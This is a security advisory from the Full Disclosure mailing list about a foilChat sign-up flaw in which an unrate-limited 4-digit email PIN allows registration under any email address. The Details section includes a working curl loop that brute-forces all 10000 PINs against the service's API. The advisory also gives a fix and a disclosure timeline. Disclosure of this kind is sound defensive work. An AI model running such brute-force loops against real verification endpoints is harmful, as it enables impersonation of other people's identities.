foilChat sign up email PIN confirmation bypass
==============================================
https://sintonen.fi/advisories/foilchat-signup-email-pin-confirmation-bypass.txt


Overview
--------

foilChat (https://www.foilchat.com/) allows anyone to register with any email
address due to a vulnerability.


Description
-----------

foilChat user names equal to user's email address. At sign up the user is 
required
to provide an email address. The email address is sent a 4 digit PIN code that 
the
user is required to enter to the application to complete the registration.

foilChat backend fails to prevent brute force attempts of the PIN code. The 
attacker
can attempt all 10000 different PIN codes until the correct one is found, and 
then
use the correct PIN to complete the registration.


Impact
------

The attacker can sign up to foilChat with any email address, bypassing the 
security
model of the application. Notably the user name (email address) is the only way 
to
confirm identity within the application.


Details
-------

The discovered vulnerabilities, described in more detail below, enable the 
attack
described here in brief.

1. Initiate the sign up procedure in the application with a spoofed email 
address

2. Brute force the correct PIN code

for p in `seq -w 0 9999`; do
  echo $p; if curl -s -d "email=victim@example.invalid&pin=$p" \
  https://api.foilserver.com/v2.4.3/users/check_credentials |
  grep -q true; then break; fi
done

3. Once correct PIN is found, complete the sign up with the PIN code


The attacker is now registered with the spoofed email address (user name):

https://sintonen.fi/advisories/foilchat-signup-pin-bypass.png


Vulnerabilities
---------------

1. CWE-307: Improper Restriction of Excessive Authentication Attempts

The foilChat backend fails to restrict the number of 'users/check_credentials' 
API
calls for a given email address. The attacker can try different PIN codes until 
the
correct PIN code is found, and thus bypass the email confirmation.

This issue could be fixed in several ways. One way would be to restrict the 
number of
'users/check_credentials' API calls that can be made. Even better, rather than 
having
a separate 'users/check_credentials' API call at all, the correct PIN should be
required for the actual 'users/signup' API call instead.


Vulnerable versions
-------------------

foilChat confirmed the issue fixed 2018-05-24.


Credits
-------

The vulnerability was discovered by Harry Sintonen.


Timeline
--------

2018.05.10  discovered the vulnerability
2018.05.10  reported the vulnerability via CERT-FI that forwarded it to foilChat
            security contact
2018.05.24  foilChat reported the vulnerability fixed
2018.05.24  public disclosure of the advisory

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Reply via email to